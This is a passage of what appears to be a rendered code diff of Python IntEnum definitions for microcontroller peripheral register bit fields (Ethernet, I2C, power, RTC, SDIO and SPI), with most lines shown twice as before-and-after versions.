MPR = 1 << 5
WFE = 1 << 2
MPE = 1 << 1
PD = 1 << 0
WFFRPR = 1 << 31
GU = 1 << 9
WFR = 1 << 6
MPR = 1 << 5
WFE = 1 << 2
MPE = 1 << 1
PD = 1 << 0
class ETH_MACDBGR(IntEnum):
TFF = 1 << 25
TFNE = 1 << 24
TFWA = 1 << 22
TFRS = 0x3 << 20
TFRS_WRITING = 0x3 << 20
TFRS_WAITING = 1 << 21
TFRS_READ = 1 << 20
MTP = 1 << 19
MTFCS = 0x3 << 17
MTFCS_TRANSFERRING = 0x3 << 17
MTFCS_GENERATINGPCF = 1 << 18
MTFCS_WAITING = 1 << 17
MMTEA = 1 << 16
RFFL = 0x3 << 8
RFFL_FL = 0x3 << 8
RFFL_ABOVEFCT = 1 << 9
RFFL_BELOWFCT = 1 << 8
RFRCS = 0x3 << 5
RFRCS_FLUSHING = 0x3 << 5
RFRCS_STATUSREADING = 1 << 6
RFRCS_DATAREADING = 1 << 5
RFWRA = 1 << 4
MSFRWCS = 0x3 << 1
MMRPEA = 1 << 0
TFF = 1 << 25
TFNE = 1 << 24
TFWA = 1 << 22
TFRS = 0x3 << 20
TFRS_WRITING = 0x3 << 20
TFRS_WAITING = 1 << 21
TFRS_READ = 1 << 20
MTP = 1 << 19
MTFCS = 0x3 << 17
MTFCS_TRANSFERRING = 0x3 << 17
MTFCS_GENERATINGPCF = 1 << 18
MTFCS_WAITING = 1 << 17
MMTEA = 1 << 16
RFFL = 0x3 << 8
RFFL_FL = 0x3 << 8
RFFL_ABOVEFCT = 1 << 9
RFFL_BELOWFCT = 1 << 8
RFRCS = 0x3 << 5
RFRCS_FLUSHING = 0x3 << 5
RFRCS_STATUSREADING = 1 << 6
RFRCS_DATAREADING = 1 << 5
RFWRA = 1 << 4
MSFRWCS = 0x3 << 1
MMRPEA = 1 << 0
class ETH_MACSR(IntEnum):
TSTS = 1 << 9
MMCTS = 1 << 6
MMMCRS = 1 << 5
MMCS = 1 << 4
PMTS = 1 << 3
TSTS = 1 << 9
MMCTS = 1 << 6
MMMCRS = 1 << 5
MMCS = 1 << 4
PMTS = 1 << 3
class ETH_MACIMR(IntEnum):
TSTIM = 1 << 9
PMTIM = 1 << 3
TSTIM = 1 << 9
PMTIM = 1 << 3
class ETH_MACA1HR(IntEnum):
AE = 1 << 31
SA = 1 << 30
MBC = 0x3f << 24
MACA1H = 0xffff << 0
AE = 1 << 31
SA = 1 << 30
MBC = 0x3f << 24
MACA1H = 0xffff << 0
class ETH_MACA2HR(IntEnum):
AE = 1 << 31
SA = 1 << 30
MBC = 0x3f << 24
MACA2H = 0xffff << 0
AE = 1 << 31
SA = 1 << 30
MBC = 0x3f << 24
MACA2H = 0xffff << 0
class ETH_MACA3HR(IntEnum):
AE = 1 << 31
SA = 1 << 30
MBC = 0x3f << 24
MACA3H = 0xffff << 0
AE = 1 << 31
SA = 1 << 30
MBC = 0x3f << 24
MACA3H = 0xffff << 0
class ETH_MMCCR(IntEnum):
MCFHP = 1 << 5
MCP = 1 << 4
MCF = 1 << 3
ROR = 1 << 2
CSR = 1 << 1
CR = 1 << 0
MCFHP = 1 << 5
MCP = 1 << 4
MCF = 1 << 3
ROR = 1 << 2
CSR = 1 << 1
CR = 1 << 0
class ETH_MMCRIR(IntEnum):
RGUFS = 1 << 17
RFAES = 1 << 6
RFCES = 1 << 5
RGUFS = 1 << 17
RFAES = 1 << 6
RFCES = 1 << 5
class ETH_MMCTIR(IntEnum):
TGFS = 1 << 21
TGFMSCS = 1 << 15
TGFSCS = 1 << 14
TGFS = 1 << 21
TGFMSCS = 1 << 15
TGFSCS = 1 << 14
class ETH_MMCRIMR(IntEnum):
RGUFM = 1 << 17
RFAEM = 1 << 6
RFCEM = 1 << 5
RGUFM = 1 << 17
RFAEM = 1 << 6
RFCEM = 1 << 5
class ETH_MMCTIMR(IntEnum):
TGFM = 1 << 21
TGFMSCM = 1 << 15
TGFSCM = 1 << 14
TGFM = 1 << 21
TGFMSCM = 1 << 15
TGFSCM = 1 << 14
class ETH_PTPTSCR(IntEnum):
TSCNT = 0x3 << 16
TSARU = 1 << 5
TSITE = 1 << 4
TSSTU = 1 << 3
TSSTI = 1 << 2
TSFCU = 1 << 1
TSE = 1 << 0
TSCNT = 0x3 << 16
TSARU = 1 << 5
TSITE = 1 << 4
TSSTU = 1 << 3
TSSTI = 1 << 2
TSFCU = 1 << 1
TSE = 1 << 0
class ETH_PTPTSSR(IntEnum):
TSSMRME = 1 << 15
TSSEME = 1 << 14
TSSIPV4FE = 1 << 13
TSSIPV6FE = 1 << 12
TSSPTPOEFE = 1 << 11
TSPTPPSV2E = 1 << 10
TSSSR = 1 << 9
TSSARFE = 1 << 8
TSTTR = 1 << 5
TSSO = 1 << 4
TSSMRME = 1 << 15
TSSEME = 1 << 14
TSSIPV4FE = 1 << 13
TSSIPV6FE = 1 << 12
TSSPTPOEFE = 1 << 11
TSPTPPSV2E = 1 << 10
TSSSR = 1 << 9
TSSARFE = 1 << 8
TSTTR = 1 << 5
TSSO = 1 << 4
class ETH_PTPSSIR(IntEnum):
STSSI = 0xff << 0
STSSI = 0xff << 0
class ETH_PTPTSLR(IntEnum):
STPNS = 1 << 31
STSS = 0x7fffffff << 0
STPNS = 1 << 31
STSS = 0x7fffffff << 0
class ETH_PTPTSLUR(IntEnum):
TSUPNS = 1 << 31
TSUSS = 0x7fffffff << 0
TSUPNS = 1 << 31
TSUSS = 0x7fffffff << 0
class ETH_DMABMR(IntEnum):
AAB = 1 << 25
FPM = 1 << 24
USP = 1 << 23
RDP = 0x3f << 17
FB = 1 << 16
RTPR = 0x3 << 14
PBL = 0x3f << 8
EDE = 1 << 7
DSL = 0x1f << 2
DA = 1 << 1
SR = 1 << 0
AAB = 1 << 25
FPM = 1 << 24
USP = 1 << 23
RDP = 0x3f << 17
FB = 1 << 16
RTPR = 0x3 << 14
PBL = 0x3f << 8
EDE = 1 << 7
DSL = 0x1f << 2
DA = 1 << 1
SR = 1 << 0
class ETH_DMASR(IntEnum):
TSTS = 1 << 29
PMTS = 1 << 28
MMCS = 1 << 27
EBS = 0x7 << 23
EBS_DescAccess = 1 << 25
EBS_ReadTransf = 1 << 24
EBS_DataTransfTx = 1 << 23
TPS = 0x7 << 20
TPS_Fetching = 1 << 20
TPS_Waiting = 1 << 21
TPS_Reading = 0x3 << 20
TPS_Suspended = 0x3 << 21
TPS_Closing = 0x7 << 20
RPS = 0x7 << 17
RPS_Fetching = 1 << 17
RPS_Waiting = 0x3 << 17
RPS_Suspended = 1 << 19
RPS_Closing = 0x5 << 17
RPS_Queuing = 0x7 << 17
NIS = 1 << 16
AIS = 1 << 15
ERS = 1 << 14
FBES = 1 << 13
ETS = 1 << 10
RWTS = 1 << 9
RPSS = 1 << 8
RBUS = 1 << 7
RS = 1 << 6
TUS = 1 << 5
ROS = 1 << 4
TJTS = 1 << 3
TBUS = 1 << 2
TPSS = 1 << 1
TS = 1 << 0
TSTS = 1 << 29
PMTS = 1 << 28
MMCS = 1 << 27
EBS = 0x7 << 23
EBS_DescAccess = 1 << 25
EBS_ReadTransf = 1 << 24
EBS_DataTransfTx = 1 << 23
TPS = 0x7 << 20
TPS_Fetching = 1 << 20
TPS_Waiting = 1 << 21
TPS_Reading = 0x3 << 20
TPS_Suspended = 0x3 << 21
TPS_Closing = 0x7 << 20
RPS = 0x7 << 17
RPS_Fetching = 1 << 17
RPS_Waiting = 0x3 << 17
RPS_Suspended = 1 << 19
RPS_Closing = 0x5 << 17
RPS_Queuing = 0x7 << 17
NIS = 1 << 16
AIS = 1 << 15
ERS = 1 << 14
FBES = 1 << 13
ETS = 1 << 10
RWTS = 1 << 9
RPSS = 1 << 8
RBUS = 1 << 7
RS = 1 << 6
TUS = 1 << 5
ROS = 1 << 4
TJTS = 1 << 3
TBUS = 1 << 2
TPSS = 1 << 1
TS = 1 << 0
class ETH_DMAOMR(IntEnum):
DTCEFD = 1 << 26
RSF = 1 << 25
DFRF = 1 << 24
TSF = 1 << 21
FTF = 1 << 20
TTC = 0x7 << 14
ST = 1 << 13
FEF = 1 << 7
FGF = 1 << 6
RTC = 0x3 << 3
OSF = 1 << 2
SR = 1 << 1
DTCEFD = 1 << 26
RSF = 1 << 25
DFRF = 1 << 24
TSF = 1 << 21
FTF = 1 << 20
TTC = 0x7 << 14
ST = 1 << 13
FEF = 1 << 7
FGF = 1 << 6
RTC = 0x3 << 3
OSF = 1 << 2
SR = 1 << 1
class ETH_DMAIER(IntEnum):
NISE = 1 << 16
AISE = 1 << 15
ERIE = 1 << 14
FBEIE = 1 << 13
ETIE = 1 << 10
RWTIE = 1 << 9
RPSIE = 1 << 8
RBUIE = 1 << 7
RIE = 1 << 6
TUIE = 1 << 5
ROIE = 1 << 4
TJTIE = 1 << 3
TBUIE = 1 << 2
TPSIE = 1 << 1
TIE = 1 << 0
NISE = 1 << 16
AISE = 1 << 15
ERIE = 1 << 14
FBEIE = 1 << 13
ETIE = 1 << 10
RWTIE = 1 << 9
RPSIE = 1 << 8
RBUIE = 1 << 7
RIE = 1 << 6
TUIE = 1 << 5
ROIE = 1 << 4
TJTIE = 1 << 3
TBUIE = 1 << 2
TPSIE = 1 << 1
TIE = 1 << 0
class ETH_DMAMFBOCR(IntEnum):
OFOC = 1 << 28
MFA = 0x7ff << 17
OMFC = 1 << 16
MFC = 0xffff << 0
OFOC = 1 << 28
MFA = 0x7ff << 17
OMFC = 1 << 16
MFC = 0xffff << 0
+65 -65
View File
@@ -7,88 +7,88 @@ from enum import IntEnum
class I2C_CR1(IntEnum):
PE = 1 << 0
SMBUS = 1 << 1
SMBTYPE = 1 << 3
ENARP = 1 << 4
ENPEC = 1 << 5
ENGC = 1 << 6
NOSTRETCH = 1 << 7
START = 1 << 8
STOP = 1 << 9
ACK = 1 << 10
POS = 1 << 11
PEC = 1 << 12
ALERT = 1 << 13
SWRST = 1 << 15
PE = 1 << 0
SMBUS = 1 << 1
SMBTYPE = 1 << 3
ENARP = 1 << 4
ENPEC = 1 << 5
ENGC = 1 << 6
NOSTRETCH = 1 << 7
START = 1 << 8
STOP = 1 << 9
ACK = 1 << 10
POS = 1 << 11
PEC = 1 << 12
ALERT = 1 << 13
SWRST = 1 << 15
RW_MASK = PE|SMBUS|SMBTYPE|ENARP|ENPEC|ENGC|NOSTRETCH|START|STOP|ACK|POS|ALERT|SWRST
RW_MASK = PE|SMBUS|SMBTYPE|ENARP|ENPEC|ENGC|NOSTRETCH|START|STOP|ACK|POS|ALERT|SWRST
class I2C_CR2(IntEnum):
FREQ = 0x3f << 0
ITERREN = 1 << 8
ITEVTEN = 1 << 9
ITBUFEN = 1 << 10
DMAEN = 1 << 11
LAST = 1 << 12
FREQ = 0x3f << 0
ITERREN = 1 << 8
ITEVTEN = 1 << 9
ITBUFEN = 1 << 10
DMAEN = 1 << 11
LAST = 1 << 12
class I2C_OAR1(IntEnum):
ADD0 = 1 << 0
ADD1 = 1 << 1
ADD2 = 1 << 2
ADD3 = 1 << 3
ADD4 = 1 << 4
ADD5 = 1 << 5
ADD6 = 1 << 6
ADD7 = 1 << 7
ADD8 = 1 << 8
ADD9 = 1 << 9
ADDMODE = 1 << 15
ADD0 = 1 << 0
ADD1 = 1 << 1
ADD2 = 1 << 2
ADD3 = 1 << 3
ADD4 = 1 << 4
ADD5 = 1 << 5
ADD6 = 1 << 6
ADD7 = 1 << 7
ADD8 = 1 << 8
ADD9 = 1 << 9
ADDMODE = 1 << 15
ADDR1_7B = 0x7f << 1
ADDR1_10B = 0x3ff
ADDR1_7B = 0x7f << 1
ADDR1_10B = 0x3ff
class I2C_OAR2(IntEnum):
ENDUAL = 1 << 0
ADDR2 = 0x7f << 1
ENDUAL = 1 << 0
ADDR2 = 0x7f << 1
class I2C_DR(IntEnum):
DR = 0xff << 0
DR = 0xff << 0
class I2C_SR1(IntEnum):
SB = 1 << 0
ADDR = 1 << 1
BTF = 1 << 2
ADD10 = 1 << 3
STOPF = 1 << 4
RXNE = 1 << 6
TXE = 1 << 7
BERR = 1 << 8
ARLO = 1 << 9
AF = 1 << 10
OVR = 1 << 11
PECERR = 1 << 12
TIMEOUT = 1 << 14
SMBALERT = 1 << 15
SB = 1 << 0
ADDR = 1 << 1
BTF = 1 << 2
ADD10 = 1 << 3
STOPF = 1 << 4
RXNE = 1 << 6
TXE = 1 << 7
BERR = 1 << 8
ARLO = 1 << 9
AF = 1 << 10
OVR = 1 << 11
PECERR = 1 << 12
TIMEOUT = 1 << 14
SMBALERT = 1 << 15
class I2C_SR2(IntEnum):
MSL = 1 << 0
BSY = 1 << 1
TRA = 1 << 2
GENCALL = 1 << 4
SMBDEFAULT = 1 << 5
SMBHOST = 1 << 6
DALF = 1 << 7
PEC = 0xff << 8
MSL = 1 << 0
BSY = 1 << 1
TRA = 1 << 2
GENCALL = 1 << 4
SMBDEFAULT = 1 << 5
SMBHOST = 1 << 6
DALF = 1 << 7
PEC = 0xff << 8
class I2C_CCR(IntEnum):
CCR = 0xfff << 0
DTY = 1 << 14
FS = 1 << 15
CCR = 0xfff << 0
DTY = 1 << 14
FS = 1 << 15
class I2C_TRISE(IntEnum):
TRISE = 0x3f << 0
TRISE = 0x3f << 0
class I2C_FLTR(IntEnum):
DNF = 0xf << 0
ANOFF = 1 << 4
DNF = 0xf << 0
ANOFF = 1 << 4
+25 -25
View File
@@ -7,30 +7,30 @@ from enum import IntEnum
class PWR_CR(IntEnum):
LPDS = 1 << 0
PDDS = 1 << 1
CWUF = 1 << 2
CSBF = 1 << 3
PVDE = 1 << 4
PLS = 0x7 << 5
DBP = 1 << 8
FPDS = 1 << 9
LPLVDS = 1 << 10
MRLVDS = 1 << 11
ADCDC1 = 1 << 13
VOS = 0x3 << 14
ODEN = 1 << 16
ODSWEN = 1 << 17
UDEN = 0x3 << 18
LPDS = 1 << 0
PDDS = 1 << 1
CWUF = 1 << 2
CSBF = 1 << 3
PVDE = 1 << 4
PLS = 0x7 << 5
DBP = 1 << 8
FPDS = 1 << 9
LPLVDS = 1 << 10
MRLVDS = 1 << 11
ADCDC1 = 1 << 13
VOS = 0x3 << 14
ODEN = 1 << 16
ODSWEN = 1 << 17
UDEN = 0x3 << 18
class PWR_CSR(IntEnum):
WUF = 1 << 0
SBF = 1 << 1
PVDO = 1 << 2
BRR = 1 << 3
EWUP = 1 << 8
BRE = 1 << 9
VOSRDY = 1 << 14
ODRDY = 1 << 16
ODSWRDY = 1 << 17
UDRDY = 0x3 << 18
WUF = 1 << 0
SBF = 1 << 1
PVDO = 1 << 2
BRR = 1 << 3
EWUP = 1 << 8
BRE = 1 << 9
VOSRDY = 1 << 14
ODRDY = 1 << 16
ODSWRDY = 1 << 17
UDRDY = 0x3 << 18
+122 -122
View File
@@ -8,161 +8,161 @@ from enum import IntEnum
class RTC_TR(IntEnum):
PM = 1 << 22
HT = 0x3 << 20
HU = 0xf << 16
MNT = 0x7 << 12
MNU = 0xf << 8
ST = 0x7 << 4
SU = 0xf << 0
PM = 1 << 22
HT = 0x3 << 20
HU = 0xf << 16
MNT = 0x7 << 12
MNU = 0xf << 8
ST = 0x7 << 4
SU = 0xf << 0
class RTC_DR(IntEnum):
YT = 0xf << 20
YU = 0xf << 16
WDU = 0x7 << 13
MT = 1 << 12
MU = 0xf << 8
DT = 0x3 << 4
D = 0xf << 0
YT = 0xf << 20
YU = 0xf << 16
WDU = 0x7 << 13
MT = 1 << 12
MU = 0xf << 8
DT = 0x3 << 4
D = 0xf << 0
class RTC_CR(IntEnum):
COE = 1 << 23
OSEL = 0x3 << 21
POL = 1 << 20
COSEL = 1 << 19
BKP = 1 << 18
SUB1H = 1 << 17
ADD1H = 1 << 16
TSIE = 1 << 15
WUTIE = 1 << 14
ALRBIE = 1 << 13
ALRAIE = 1 << 12
TSE = 1 << 11
WUTE = 1 << 10
ALRBE = 1 << 9
ALRAE = 1 << 8
DCE = 1 << 7
FMT = 1 << 6
BYPSHAD = 1 << 5
REFCKON = 1 << 4
TSEDGE = 1 << 3
WUCKSEL = 0x7 << 0
COE = 1 << 23
OSEL = 0x3 << 21
POL = 1 << 20
COSEL = 1 << 19
BKP = 1 << 18
SUB1H = 1 << 17
ADD1H = 1 << 16
TSIE = 1 << 15
WUTIE = 1 << 14
ALRBIE = 1 << 13
ALRAIE = 1 << 12
TSE = 1 << 11
WUTE = 1 << 10
ALRBE = 1 << 9
ALRAE = 1 << 8
DCE = 1 << 7
FMT = 1 << 6
BYPSHAD = 1 << 5
REFCKON = 1 << 4
TSEDGE = 1 << 3
WUCKSEL = 0x7 << 0
class RTC_ISR(IntEnum):
RECALPF = 1 << 16
TAMP1F = 1 << 13
TAMP2F = 1 << 14
TSOVF = 1 << 12
TSF = 1 << 11
WUTF = 1 << 10
ALRBF = 1 << 9
ALRAF = 1 << 8
INIT = 1 << 7
INITF = 1 << 6
RSF = 1 << 5
INITS = 1 << 4
SHPF = 1 << 3
WUTWF = 1 << 2
ALRBWF = 1 << 1
ALRAWF = 1 << 0
RECALPF = 1 << 16
TAMP1F = 1 << 13
TAMP2F = 1 << 14
TSOVF = 1 << 12
TSF = 1 << 11
WUTF = 1 << 10
ALRBF = 1 << 9
ALRAF = 1 << 8
INIT = 1 << 7
INITF = 1 << 6
RSF = 1 << 5
INITS = 1 << 4
SHPF = 1 << 3
WUTWF = 1 << 2
ALRBWF = 1 << 1
ALRAWF = 1 << 0
class RTC_PRER(IntEnum):
PREDIV_A = 0x7f << 16
PREDIV_S = 0x7fff << 0
PREDIV_A = 0x7f << 16
PREDIV_S = 0x7fff << 0
class RTC_WUTR(IntEnum):
WUT = 0xffff << 0
WUT = 0xffff << 0
class RTC_CALIBR(IntEnum):
DCS = 1 << 7
DC = 0x1f << 0
DCS = 1 << 7
DC = 0x1f << 0
class RTC_ALRMAR(IntEnum):
MSK4 = 1 << 31
WDSEL = 1 << 30
DT = 0x3 << 28
D = 0xf << 24
MSK3 = 1 << 23
PM = 1 << 22
HT = 0x3 << 20
HU = 0xf << 16
MSK2 = 1 << 15
MNT = 0x7 << 12
MNU = 0xf << 8
MSK1 = 1 << 7
ST = 0x7 << 4
SU = 0xf << 0
MSK4 = 1 << 31
WDSEL = 1 << 30
DT = 0x3 << 28
D = 0xf << 24
MSK3 = 1 << 23
PM = 1 << 22
HT = 0x3 << 20
HU = 0xf << 16
MSK2 = 1 << 15
MNT = 0x7 << 12
MNU = 0xf << 8
MSK1 = 1 << 7
ST = 0x7 << 4
SU = 0xf << 0
class RTC_ALRMBR(IntEnum):
MSK4 = 1 << 31
WDSEL = 1 << 30
DT = 0x3 << 28
D = 0xf << 24
MSK3 = 1 << 23
PM = 1 << 22
HT = 0x3 << 20
HU = 0xf << 16
MSK2 = 1 << 15
MNT = 0x7 << 12
MNU = 0xf << 8
MSK1 = 1 << 7
ST = 0x7 << 4
SU = 0xf << 0
MSK4 = 1 << 31
WDSEL = 1 << 30
DT = 0x3 << 28
D = 0xf << 24
MSK3 = 1 << 23
PM = 1 << 22
HT = 0x3 << 20
HU = 0xf << 16
MSK2 = 1 << 15
MNT = 0x7 << 12
MNU = 0xf << 8
MSK1 = 1 << 7
ST = 0x7 << 4
SU = 0xf << 0
class RTC_WPR(IntEnum):
KEY = 0xff << 0
KEY = 0xff << 0
class RTC_SSR(IntEnum):
SS = 0xffff << 0
SS = 0xffff << 0
class RTC_SHIFTR(IntEnum):
SUBFS = 0x7fff << 0
ADD1S = 1 << 31
SUBFS = 0x7fff << 0
ADD1S = 1 << 31
class RTC_TSTR(IntEnum):
PM = 1 << 22
HT = 0x3 << 20
HU = 0xf << 16
MNT = 0x7 << 12
MNU = 0xf << 8
ST = 0x7 << 4
SU = 0xf << 0
PM = 1 << 22
HT = 0x3 << 20
HU = 0xf << 16
MNT = 0x7 << 12
MNU = 0xf << 8
ST = 0x7 << 4
SU = 0xf << 0
class RTC_TSDR(IntEnum):
WDU = 0x7 << 13
MT = 1 << 12
MU = 0xf << 8
DT = 0x3 << 4
D = 0xf << 0
WDU = 0x7 << 13
MT = 1 << 12
MU = 0xf << 8
DT = 0x3 << 4
D = 0xf << 0
class RTC_TSSSR(IntEnum):
SS = 0xffff << 0
SS = 0xffff << 0
class RTC_CALR(IntEnum):
CALP = 1 << 15
CALW8 = 1 << 14
CALW16 = 1 << 13
CALM = 0x1ff << 0
CALP = 1 << 15
CALW8 = 1 << 14
CALW16 = 1 << 13
CALM = 0x1ff << 0
class RTC_TAFCR(IntEnum):
ALARMOUTTYPE = 1 << 18
TSINSEL = 1 << 17
TAMP1INSEL = 1 << 16
TAMPPUDIS = 1 << 15
TAMPPRCH = 0x3 << 13
TAMPFLT = 0x3 << 11
TAMPFREQ = 0x7 << 8
TAMPTS = 1 << 7
TAMP2TRG = 1 << 4
TAMP2E = 1 << 3
TAMPIE = 1 << 2
TAMP1TRG = 1 << 1
TAMP1E = 1 << 0
ALARMOUTTYPE = 1 << 18
TSINSEL = 1 << 17
TAMP1INSEL = 1 << 16
TAMPPUDIS = 1 << 15
TAMPPRCH = 0x3 << 13
TAMPFLT = 0x3 << 11
TAMPFREQ = 0x7 << 8
TAMPTS = 1 << 7
TAMP2TRG = 1 << 4
TAMP2E = 1 << 3
TAMPIE = 1 << 2
TAMP1TRG = 1 << 1
TAMP1E = 1 << 0
class RTC_ALRMASSR(IntEnum):
MASKSS = 0xf << 24
SS = 0x7fff << 0
MASKSS = 0xf << 24
SS = 0x7fff << 0
class RTC_ALRMBSSR(IntEnum):
MASKSS = 0xf << 24
SS = 0x7fff << 0
MASKSS = 0xf << 24
SS = 0x7fff << 0
+86 -86
View File
@@ -7,99 +7,99 @@ from enum import IntEnum
class SDIO_CLKCR(IntEnum):
CLKDIV = 0xff << 0
CLKEN = 1 << 8
PWRSAV = 1 << 9
BYPASS = 1 << 10
WIDBUS = 0x3 << 11
NEGEDGE = 1 << 13
HWFC_EN = 1 << 14
CLKDIV = 0xff << 0
CLKEN = 1 << 8
PWRSAV = 1 << 9
BYPASS = 1 << 10
WIDBUS = 0x3 << 11
NEGEDGE = 1 << 13
HWFC_EN = 1 << 14
class SDIO_CMD(IntEnum):
CMDINDEX = 0x3f << 0
WAITRESP = 0x3 << 6
WAITINT = 1 << 8
WAITPEND = 1 << 9
CPSMEN = 1 << 10
SDIOSUSPEND = 1 << 11
ENCMDCOMPL = 1 << 12
NIEN = 1 << 13
CEATACMD = 1 << 14
CMDINDEX = 0x3f << 0
WAITRESP = 0x3 << 6
WAITINT = 1 << 8
WAITPEND = 1 << 9
CPSMEN = 1 << 10
SDIOSUSPEND = 1 << 11
ENCMDCOMPL = 1 << 12
NIEN = 1 << 13
CEATACMD = 1 << 14
class SDIO_DCTRL(IntEnum):
DTEN = 1 << 0
DTDIR = 1 << 1
DTMODE = 1 << 2
DMAEN = 1 << 3
DBLOCKSIZE = 0xf << 4
RWSTART = 1 << 8
RWSTOP = 1 << 9
RWMOD = 1 << 10
SDIOEN = 1 << 11
DTEN = 1 << 0
DTDIR = 1 << 1
DTMODE = 1 << 2
DMAEN = 1 << 3
DBLOCKSIZE = 0xf << 4
RWSTART = 1 << 8
RWSTOP = 1 << 9
RWMOD = 1 << 10
SDIOEN = 1 << 11
class SDIO_STA(IntEnum):
CCRCFAIL = 1 << 0
DCRCFAIL = 1 << 1
CTIMEOUT = 1 << 2
DTIMEOUT = 1 << 3
TXUNDERR = 1 << 4
RXOVERR = 1 << 5
CMDREND = 1 << 6
CMDSENT = 1 << 7
DATAEND = 1 << 8
STBITERR = 1 << 9
DBCKEND = 1 << 10
CMDACT = 1 << 11
TXACT = 1 << 12
RXACT = 1 << 13
TXFIFOHE = 1 << 14
RXFIFOHF = 1 << 15
TXFIFOF = 1 << 16
RXFIFOF = 1 << 17
TXFIFOE = 1 << 18
RXFIFOE = 1 << 19
TXDAVL = 1 << 20
RXDAVL = 1 << 21
SDIOIT = 1 << 22
CEATAEND = 1 << 23
CCRCFAIL = 1 << 0
DCRCFAIL = 1 << 1
CTIMEOUT = 1 << 2
DTIMEOUT = 1 << 3
TXUNDERR = 1 << 4
RXOVERR = 1 << 5
CMDREND = 1 << 6
CMDSENT = 1 << 7
DATAEND = 1 << 8
STBITERR = 1 << 9
DBCKEND = 1 << 10
CMDACT = 1 << 11
TXACT = 1 << 12
RXACT = 1 << 13
TXFIFOHE = 1 << 14
RXFIFOHF = 1 << 15
TXFIFOF = 1 << 16
RXFIFOF = 1 << 17
TXFIFOE = 1 << 18
RXFIFOE = 1 << 19
TXDAVL = 1 << 20
RXDAVL = 1 << 21
SDIOIT = 1 << 22
CEATAEND = 1 << 23
class SDIO_ICR(IntEnum):
CCRCFAILC = 1 << 0
DCRCFAILC = 1 << 1
CTIMEOUTC = 1 << 2
DTIMEOUTC = 1 << 3
TXUNDERRC = 1 << 4
RXOVERRC = 1 << 5
CMDRENDC = 1 << 6
CMDSENTC = 1 << 7
DATAENDC = 1 << 8
STBITERRC = 1 << 9
DBCKENDC = 1 << 10
SDIOITC = 1 << 22
CEATAENDC = 1 << 23
CCRCFAILC = 1 << 0
DCRCFAILC = 1 << 1
CTIMEOUTC = 1 << 2
DTIMEOUTC = 1 << 3
TXUNDERRC = 1 << 4
RXOVERRC = 1 << 5
CMDRENDC = 1 << 6
CMDSENTC = 1 << 7
DATAENDC = 1 << 8
STBITERRC = 1 << 9
DBCKENDC = 1 << 10
SDIOITC = 1 << 22
CEATAENDC = 1 << 23
class SDIO_MASK(IntEnum):
CCRCFAILIE = 1 << 0
DCRCFAILIE = 1 << 1
CTIMEOUTIE = 1 << 2
DTIMEOUTIE = 1 << 3
TXUNDERRIE = 1 << 4
RXOVERRIE = 1 << 5
CMDRENDIE = 1 << 6
CMDSENTIE = 1 << 7
DATAENDIE = 1 << 8
STBITERRIE = 1 << 9
DBCKENDIE = 1 << 10
CMDACTIE = 1 << 11
TXACTIE = 1 << 12
RXACTIE = 1 << 13
TXFIFOHEIE = 1 << 14
RXFIFOHFIE = 1 << 15
TXFIFOFIE = 1 << 16
RXFIFOFIE = 1 << 17
TXFIFOEIE = 1 << 18
RXFIFOEIE = 1 << 19
TXDAVLIE = 1 << 20
RXDAVLIE = 1 << 21
SDIOITIE = 1 << 22
CEATAENDIE = 1 << 23
CCRCFAILIE = 1 << 0
DCRCFAILIE = 1 << 1
CTIMEOUTIE = 1 << 2
DTIMEOUTIE = 1 << 3
TXUNDERRIE = 1 << 4
RXOVERRIE = 1 << 5
CMDRENDIE = 1 << 6
CMDSENTIE = 1 << 7
DATAENDIE = 1 << 8
STBITERRIE = 1 << 9
DBCKENDIE = 1 << 10
CMDACTIE = 1 << 11
TXACTIE = 1 << 12
RXACTIE = 1 << 13
TXFIFOHEIE = 1 << 14
RXFIFOHFIE = 1 << 15
TXFIFOFIE = 1 << 16
RXFIFOFIE = 1 << 17
TXFIFOEIE = 1 << 18
RXFIFOEIE = 1 << 19
TXDAVLIE = 1 << 20
RXDAVLIE = 1 << 21
SDIOITIE = 1 << 22
CEATAENDIE = 1 << 23
+46 -46
View File
@@ -7,63 +7,63 @@ from enum import IntEnum
class SPI_CR1(IntEnum):
CPHA = 1 << 0
CPOL = 1 << 1
MSTR = 1 << 2
BR = 0x7 << 3
SPE = 1 << 6
LSBFIRST = 1 << 7
SSI = 1 << 8
SSM = 1 << 9
RXONLY = 1 << 10
DFF = 1 << 11
CRCNEXT = 1 << 12
CRCEN = 1 << 13
BIDIOE = 1 << 14
BIDIMODE = 1 << 15
CPHA = 1 << 0
CPOL = 1 << 1
MSTR = 1 << 2
BR = 0x7 << 3
SPE = 1 << 6
LSBFIRST = 1 << 7
SSI = 1 << 8
SSM = 1 << 9
RXONLY = 1 << 10
DFF = 1 << 11
CRCNEXT = 1 << 12
CRCEN = 1 << 13
BIDIOE = 1 << 14
BIDIMODE = 1 << 15
RW_MASK = 0xffff
RW_MASK = 0xffff
class SPI_CR2(IntEnum):
RXDMAEN = 1 << 0
TXDMAEN = 1 << 1
SSOE = 1 << 2
FRF = 1 << 4
ERRIE = 1 << 5
RXNEIE = 1 << 6
TXEIE = 1 << 7
RXDMAEN = 1 << 0
TXDMAEN = 1 << 1
SSOE = 1 << 2
FRF = 1 << 4
ERRIE = 1 << 5
RXNEIE = 1 << 6
TXEIE = 1 << 7
RW_MASK = RXDMAEN|TXDMAEN|SSOE|FRF|ERRIE|RXNEIE|TXEIE
RW_MASK = RXDMAEN|TXDMAEN|SSOE|FRF|ERRIE|RXNEIE|TXEIE
class SPI_SR(IntEnum):
RXNE = 1 << 0
TXE = 1 << 1
CHSIDE = 1 << 2
UDR = 1 << 3
CRCERR = 1 << 4
MODF = 1 << 5
OVR = 1 << 6
BSY = 1 << 7
FRE = 1 << 8
RXNE = 1 << 0
TXE = 1 << 1
CHSIDE = 1 << 2
UDR = 1 << 3
CRCERR = 1 << 4
MODF = 1 << 5
OVR = 1 << 6
BSY = 1 << 7
FRE = 1 << 8
class SPI_CRCPR(IntEnum):
CRCPOLY = 0xffff
CRCPOLY = 0xffff
class SPI_I2SCFGR(IntEnum):
CHLEN = 1 << 0
DATLEN = 0x3 << 1
CKPOL = 1 << 3
I2SSTD = 0x3 << 4
PCMSYNC = 1 << 7
I2SCFG = 0x3 << 8
I2SE = 1 << 10
I2SMOD = 1 << 11
CHLEN = 1 << 0
DATLEN = 0x3 << 1
CKPOL = 1 << 3
I2SSTD = 0x3 << 4
PCMSYNC = 1 << 7
I2SCFG = 0x3 << 8
I2SE = 1 << 10
I2SMOD = 1 << 11
RW_MASK = CHLEN|DATLEN|CKPOL|I2SSTD|PCMSYNC|I2SCFG|I2SE|I2SMOD
